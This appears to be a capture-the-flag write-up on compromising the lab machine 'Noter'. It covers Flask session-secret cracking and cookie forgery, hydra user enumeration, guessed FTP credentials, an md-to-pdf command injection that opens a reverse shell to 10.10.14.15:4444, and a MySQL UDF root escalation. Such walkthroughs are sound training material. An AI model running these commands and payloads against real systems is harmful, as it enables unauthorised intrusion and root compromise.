#Noter

IP: 10.129.171.195

#Enumeration

#Open ports

$ sudo nmap -p- --min-rate=1000 -T4 10.129.171.195 PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 5000/tcp open upnp

Nmap safe scripts:

$ sudo nmap -sC -sV -p 21,22,5000 10.129.171.195 -o nmap.txt Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-08 16:09 AWST Nmap scan report for 10.129.171.195 Host is up (0.29s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA) | 256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA) |_ 256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519) 5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10) |_http-title: Noter |_http-server-header: Werkzeug/2.0.2 Python/3.8.10 Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.07 seconds

#Port 5000

#Enum backend

$ whatweb http://10.129.171.223:5000 http://10.129.171.223:5000 [200 OK] Bootstrap[3.3.7], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.0.2 Python/3.8.10], IP[10.129.171.223], Python[3.8.10], Script[text/javascript], Title[Noter], Werkzeug[2.0.2]

Accessing the Website on port 5000 we see a note taking application. We need to login or register an account to create notes. I created an account with the following details:

Login in to the application we can create our first note. I tried creating some XSS notes but nothing works:

#JWT cookies

Analysing the cookies set by the server when we login we can note that it is using JWT:

session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiY2F1ZWIifQ.Yne0uw.sxL-5XpgVW-Qn5k6ifZtT2jYhS0

Something funny happens when we "Add Note", "Edit" or "Delete". The server sends a different cookie and then set the original cookie back. Lets edit the note and use Burp to intercept the traffic:

Lets use JWT.io to decode and compare them. Request cookie:

Response cookie:

Based on the _flashes function and the backend (Python) we can assume that the server is running Flask. We can try to use a tool called flask-unsign to crack the signature and then we can forge our own JWT if we get the secret.

# INSTALL FLASK-UNSIGN pip3 install flask-unsign # CRACK OUR TOKEN flask-unsign --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiY2F1ZSJ9.Ynen2A.8kt_JvOGzy0Muo8XOVHlicX0ghE' --no-literal-eval --wordlist /usr/share/wordlists/rockyou.txt [*] Session decodes to: {'logged_in': True, 'username': 'caueb'} [*] Starting brute-forcer with 8 threads.. [+] Found secret key after 17152 attempts b'secret123'

Good, the secret is secret123, so now we can impersonate any user. We will need to enumerate some users.

#User enumeration

In the http://10.129.171.223:5000/login page we can enumerate users based on the error message. We can type any random password and If the username exists it will display "Invalid login", but if the username does not exist it shows "Invalid credentials". Lets use hydra with the wordlist of Username - Namesfrom seclists:

$ hydra -L /usr/share/seclists/Usernames/Names/names.txt -p 'whatever' -s 5000 10.129.171.223 http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials" Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-05-08 21:00:30 [DATA] max 16 tasks per 1 server, overall 16 tasks, 10177 login tries (l:10177/p:1), ~637 tries per task [DATA] attacking http-post-form://10.129.171.223:5000/login:username=^USER^&password=^PASS^:Invalid credentials [STATUS] 714.00 tries/min, 714 tries in 00:01h, 9463 to do in 00:14h, 16 active [5000][http-post-form] host: 10.129.171.223 login: blue password: whatever

Note that I'm hiding any response with 110 words (--hw 110) to filter showing wrong credentials.

After some time we get the user blue. Now we can forge a token as this user to have a look at his notes.

#Forge JWT

# CREATE COOKIE flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret secret123 eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.Yne8vQ.W8TN0te9TwEqYJtjsyooYJyCS4Q

We add the generated token to our cookies and reload the page:

Looking at blue notes, we find some credentials:

#FTP - Port 21

Lets login with the credentials provided:

blue:blue@Noter!

We can download the file policy.pdf found in the ftp:

caue@kali:~/htb/noter/ftp$ ftp 10.129.171.223 Connected to 10.129.171.223. 220 (vsFTPd 3.0.3) Name (10.129.171.223:caue): blue 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -la 229 Entering Extended Passive Mode (|||8364|) 150 Here comes the directory listing. drwxr-xr-x 3 0 1002 4096 May 02 23:05 . drwxr-xr-x 3 0 1002 4096 May 02 23:05 .. drwxr-xr-x 2 1002 1002 4096 May 02 23:05 files -rw-r--r-- 1 1002 1002 12569 Dec 24 20:59 policy.pdf 226 Directory send OK. ftp> get policy.pdf local: policy.pdf remote: policy.pdf 229 Entering Extended Passive Mode (|||54429|) 150 Opening BINARY mode data connection for policy.pdf (12569 bytes). 100% |************************************************************************************************************| 12569 2.06 MiB/s 00:00 ETA 226 Transfer complete. 12569 bytes received in 00:00 (44.99 KiB/s)

This line from the PDF looks promising: "Default user-password generated by the application is in the format of "username@site_name!" (This applies to all your applications)" We saw above the ftp_admin user sent an message to user blue. Following the logic we have:

ftp_admin:ftp_admin@Noter!

Login in to FTP we see 2 app backup files:

caue@kali:~/htb/noter/ftp$ ftp 10.129.171.223 Connected to 10.129.171.223. 220 (vsFTPd 3.0.3) Name (10.129.171.223:caue): ftp_admin 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -la 229 Entering Extended Passive Mode (|||19749|) 150 Here comes the directory listing. drwxr-xr-x 2 0 1003 4096 May 02 23:05 . drwxr-xr-x 2 0 1003 4096 May 02 23:05 .. -rw-r--r-- 1 1003 1003 25559 Nov 01 2021 app_backup_1635803546.zip -rw-r--r-- 1 1003 1003 26298 Dec 01 05:52 app_backup_1638395546.zip 226 Directory send OK. ftp>

We see that one was created in November and the other in December. Lets keep it organised and create a fodler for each one:

#Code analyses

The difference is that in the November backup the file app.py had MySQL credentials:

app.py
...[snip]... # Config MySQL app.config['MYSQL_HOST'] = 'localhost' app.config['MYSQL_USER'] = 'root' app.config['MYSQL_PASSWORD'] = 'Nildogg36' app.config['MYSQL_DB'] = 'app' app.config['MYSQL_CURSORCLASS'] = 'DictCursor' ...[snip]...

We can also see in the source-code that the application is using md-to-pdf module and looking at the implementation of "export_note_remote" there is a remote command execution vulnerability:

#Foothold

Searching on internet we find a CVE for the md-to-pdf module:

Logged in as user blue we can go to the Dashboard and we see the "Export Notes" function:

After trying a couple times we see that the server only accepts a markdown file. Lets prepare one to send us a reverse shell:

caue@kali:~/htb/noter/www$ cat rce.md a'; bash -i >& /dev/tcp/10.10.14.15/4444 0>&1; echo 'a

Now we start a netcat listener on port 4444.

caue@kali:~/htb/noter$ nc -lnvp 4444

We go to http://10.129.172.62:5000/export_note, add our IP to the URL box, start a python web server to host the rce.md file and click on "Export":

We receive a connection back on the netcat listener:

caue@kali:~/htb/noter$ nc -lnvp 4444 listening on [any] 4444 ... connect to [10.10.14.15] from (UNKNOWN) [10.129.172.62] 43380 bash: cannot set terminal process group (1247): Inappropriate ioctl for device bash: no job control in this shell svc@noter:~/app/web$

We can go to /home/svc and get the user flag.

svc@noter:~$ ls -la total 44 drwxr-xr-x 8 svc svc 4096 May 2 23:05 . drwxr-xr-x 3 root root 4096 May 2 23:05 .. drwxrwxr-x 3 root root 4096 May 2 23:05 app lrwxrwxrwx 1 root root 9 Dec 27 09:04 .bash_history -> /dev/null -rw-r--r-- 1 svc svc 3771 Dec 23 14:13 .bashrc drwx------ 3 svc svc 4096 May 2 23:05 .cache drwx------ 5 svc svc 4096 May 2 23:05 .config drwx------ 5 svc svc 4096 May 2 23:05 .local lrwxrwxrwx 1 root root 9 Dec 27 09:04 .mysql_history -> /dev/null drwxrwxr-x 4 svc svc 4096 May 2 23:05 .npm drwxrwxr-x 5 svc svc 4096 May 8 12:44 .pm2 -rw-r--r-- 1 svc svc 807 Dec 23 14:13 .profile -rw-r----- 1 svc svc 33 May 8 12:45 user.txt

#Privilege Escalation

There is something interesting in the user home directory:

svc@noter:~$ ls -la /home/svc/ ...[snip]... lrwxrwxrwx 1 root root 9 Dec 27 09:04 .mysql_history -> /dev/null ...[snip]...

As we can see the MySQL history file is owned by root and we got the credentials to login as root user from the application source-code previously:

...[snip]... app.config['MYSQL_USER'] = 'root' app.config['MYSQL_PASSWORD'] = 'Nildogg36' ...[snip]...

We can confirm that mysql is running as root reading the database configuration:

svc@noter:~$ cat /etc/mysql/mariadb.conf.d/50-server.cnf | grep -v "#" | grep "user" user = root

Great! We can exploit this vulnerability loading a malicious shared library into MySQL.

#MySQL User Defined Functions

Download the exploit from here and upload it to the target machine. Compile it:

svc@noter:/tmp$ gcc -g -c raptor_udf2.c svc@noter:/tmp$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Lets login to MySQL:

svc@noter:~$ mysql -u root -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 5421 Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> MariaDB [(none)]> use mysql;

We need to load the shared library into the mysql plugins directory. Lets see where is it:

MariaDB [mysql]> show variables like 'plugin_dir'; +---------------+---------------------------------------------+ | Variable_name | Value | +---------------+---------------------------------------------+ | plugin_dir | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ | +---------------+---------------------------------------------+

Perfect, now we can follow the exploit directions to create a function that will load the library and execute code as the user running the mysql server, in our case, the root user:

MariaDB [mysql]> use mysql; MariaDB [mysql]> create table foo(line blob); MariaDB [mysql]> insert into foo values(load_file('/tmp/raptor_udf2.so')); MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so'; MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so'; MariaDB [mysql]> select * from mysql.func; MariaDB [mysql]> select do_system('id > /tmp/out; chown svc.svc /tmp/out'); MariaDB [mysql]> \! sh $ cat /tmp/out uid=0(root) gid=0(root) groups=0(root)

Here we proved that we have code execution as root, so lets make a copy of bash and give +s privileges so we can get a root shell.

MariaDB [mysql]> use mysql; MariaDB [mysql]> create table foo(line blob); MariaDB [mysql]> insert into foo values(load_file('/tmp/raptor_udf2.so')); MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so'; MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so'; MariaDB [mysql]> select * from mysql.func; MariaDB [mysql]> select do_system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash'); +-----------------------------------------------------------------+ | do_system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash') | +-----------------------------------------------------------------+ | 0 | +-----------------------------------------------------------------+ MariaDB [mysql]> exit svc@noter:/tmp$ ./rootbash -p rootbash-5.0# id uid=1001(svc) gid=1001(svc) euid=0(root) egid=0(root) groups=0(root),1001(svc)

We are root!